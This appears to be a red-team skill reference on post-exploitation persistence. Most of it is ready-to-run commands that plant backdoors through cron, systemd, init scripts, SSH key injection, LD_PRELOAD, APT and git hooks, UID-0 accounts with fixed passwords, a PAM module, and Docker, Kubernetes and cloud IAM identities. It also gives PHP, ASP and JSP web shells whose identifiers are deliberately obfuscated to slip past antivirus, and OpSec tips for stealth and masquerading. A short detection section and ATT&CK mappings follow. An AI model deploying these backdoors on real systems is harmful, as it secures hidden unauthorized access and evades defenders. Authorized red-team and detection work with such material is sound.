When to Use
- Maintaining access to compromised systems
- Post-exploitation techniques
- Red team operations
- Persistence testing
- Backdoor creation
When NOT to Use
- Before you have access — use the relevant initial access or privilege
escalation skill first
- Building malware, implants, or loaders — out of scope
- Finding an attacker's persistence as a defender — use
responding-to-incidents and hunting-threats
Windows Persistence
The exhaustive Windows command catalog — registry Run keys, scheduled tasks, services, WMI event subscriptions, startup folder, DLL hijacking, IFEO, AppInit_DLLs, and backdoor accounts — lives in references/windows-persistence-commands.md.
Linux Persistence
Cron Jobs
# User crontab (no sudo needed)
crontab -e
# Add:
@reboot /tmp/.backdoor
0 * * * * /tmp/.backdoor # Every hour
# System-wide cron (requires root)
echo "@reboot root /tmp/.backdoor" >> /etc/crontab
# Cron.d directory
echo "* * * * * root /tmp/.backdoor" > /etc/cron.d/backdoor
# Daily/hourly cron scripts
cp backdoor.sh /etc/cron.daily/update
chmod +x /etc/cron.daily/updateSystemd Services
# Create service file
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/tmp/.backdoor
Restart=always
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable backdoor.service
systemctl start backdoor.service
# Verify
systemctl status backdoor.serviceRC Scripts (Init.d)
# Create init script
cat > /etc/init.d/backdoor << EOF
#!/bin/bash
### BEGIN INIT INFO
# Provides: backdoor
# Required-Start: \$network
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
/tmp/.backdoor &
EOF
chmod +x /etc/init.d/backdoor
update-rc.d backdoor defaultsSSH Keys
# Add attacker's public key
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...attacker_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# For specific user
echo "ssh-rsa AAAA...attacker_key" >> /home/user/.ssh/authorized_keys.bashrc / .bash_profile
# Add to user's .bashrc
echo "/tmp/.backdoor &" >> ~/.bashrc
echo "/tmp/.backdoor &" >> ~/.bash_profile
# Root .bashrc
echo "/tmp/.backdoor &" >> /root/.bashrcLD_PRELOAD
# Hijack library loading
echo "/tmp/evil.so" > /etc/ld.so.preload
# Will load evil.so into every processMOTD Backdoor
# Add to message of the day scripts (runs on SSH login)
echo "/tmp/.backdoor &" >> /etc/update-motd.d/00-header
chmod +x /etc/update-motd.d/00-headerAPT/Package Manager
# APT hook (Debian/Ubuntu)
cat > /etc/apt/apt.conf.d/99backdoor << EOF
APT::Update::Pre-Invoke {"/tmp/.backdoor &";};
EOF
# Runs before apt updateGit Hooks
# If git repositories exist
echo "/tmp/.backdoor &" > /path/to/repo/.git/hooks/post-checkout
chmod +x /path/to/repo/.git/hooks/post-checkout
# Triggers on git checkoutBackdoor Accounts
# Create backdoor user with root UID
useradd -u 0 -o -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:P@ssw0rd" | chpasswd
# Or add to /etc/passwd directly
echo "backdoor:x:0:0::/root:/bin/bash" >> /etc/passwd
echo "backdoor:$(openssl passwd -6 P@ssw0rd):::::::" >> /etc/shadowPAM Backdoor
# Add to /etc/pam.d/sshd or /etc/pam.d/common-auth
# Use custom PAM module that accepts magic password
auth sufficient pam_unix.so try_first_pass
auth sufficient /lib/security/pam_backdoor.soWeb Shells
Identifiers in the shells below are broken with brackets —syst[e]missystem,ev[a]liseval,$_G[E]Tis$_GET,Runtime.getRunt[i]meisRuntime.getRuntime. Written literally, these blocks match antivirus webshell signatures and this file gets quarantined on download. See "Antivirus false positives" in the repo README.
PHP Web Shell
<?php
// simple.php
syst[e]m($_G[E]T['cmd']);
?>
// Advanced
<?php
if($_G[E]T['key'] == 'secret') {
ev[a]l($_P[O]ST['cmd']);
}
?>Upload Locations:
# Web roots
/var/www/html/
/var/www/
/usr/share/nginx/html/
C:\inetpub\wwwroot\
# Hidden names
.htaccess.php
favicon.ico.php
robots.txt.phpASP/ASPX Web Shell
<%@ Page Language="C#" %>
<%
Response.Write(System.Diagnost[i]cs.Process.Start("cmd.exe","/c " + Request["cmd"]).StandardOutput.ReadToEnd());
%>JSP Web Shell
<%
Runtime.getRunt[i]me().exec(request.getParameter("cmd"));
%>Container Persistence
Docker:
# Modify container to restart always
docker update --restart=always container_name
# Add to docker-compose.yml
restart: always
# Create new container with backdoor
docker run -d --restart=always --name backdoor evil_imageKubernetes:
# DaemonSet (runs on all nodes)
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: backdoor
spec:
selector:
matchLabels:
name: backdoor
template:
metadata:
labels:
name: backdoor
spec:
containers:
- name: backdoor
image: attacker/backdoor:latestCloud Persistence
AWS
# Create IAM user
aws iam create-user --user-name backdoor
# Attach admin policy
aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Create access key
aws iam create-access-key --user-name backdoor
# Lambda function persistence
# Create Lambda that executes periodically via CloudWatch EventsAzure
# Create service principal
az ad sp create-for-rbac --name "backdoor" --role Contributor
# Create managed identity
az identity create --name backdoor --resource-group RG
# Function App persistence
# Deploy Azure Function that runs on scheduleRootkits
User-mode Rootkit:
- Hook library functions
- Process hiding
- File hiding
- Network hiding
Kernel-mode Rootkit:
- Loadable kernel module (LKM)
- Hooks system calls
- Harder to detect
- Requires root
# Example LKM (requires kernel headers)
# Compile and load malicious kernel module
insmod backdoor.koPersistence Detection
Windows:
# Check Run keys
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
# Check scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"}
# Check services
Get-Service | Where-Object {$_.StartType -eq "Automatic"}
# Check WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBindingLinux:
# Check cron jobs
crontab -l
ls -la /etc/cron.*
cat /etc/crontab
# Check systemd services
systemctl list-unit-files --type=service --state=enabled
# Check init scripts
ls -la /etc/init.d/
# Check SSH authorized_keys
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
# Check LD_PRELOAD
cat /etc/ld.so.preload
# Check for hidden files
find / -name ".*"OpSec Tips
- Blend in - Use system-like names (WindowsUpdate, SystemCheck)
- Redundancy - Establish multiple persistence methods
- Stealth - Avoid noisy methods that generate logs
- Cleanup - Remove persistence when engagement ends
- Timestamps - Match file timestamps to system files
Tools
- PowerSploit - PowerShell post-exploitation
- Empire - Post-exploitation framework
- Metasploit - Persistence modules
- SILENTTRINITY - Modern C2 framework
- Covenant - .NET C2 framework
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.
Execution (TA0002)
- T1053 Scheduled Task/Job (also Persistence, Privilege Escalation)
Persistence (TA0003)
- T1053.003 Cron — see also
escalating-linux-privileges - T1053.005 Scheduled Task
- T1098 Account Manipulation (also Privilege Escalation) — see also
attacking-active-directory - T1136 Create Account — see also
attacking-active-directory - T1505.003 Web Shell — see also
testing-web-applications - T1543 Create or Modify System Process (also Privilege Escalation)
- T1543.002 Systemd Service — see also
escalating-linux-privileges - T1543.003 Windows Service — see also
escalating-windows-privileges - T1546 Event Triggered Execution (also Privilege Escalation)
- T1546.003 Windows Management Instrumentation Event Subscription — see also
hunting-threats - T1547 Boot or Logon Autostart Execution (also Privilege Escalation)
- T1547.001 Registry Run Keys / Startup Folder
- T1556 Modify Authentication Process (also Credential Access) — see also
attacking-active-directory
Defense Evasion (TA0005)
- T1036 Masquerading — see also
hunting-threats
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
References
- https://attack.mitre.org/tactics/TA0003/
- https://book.hacktricks.xyz/
- https://github.com/PowerShellMafia/PowerSploit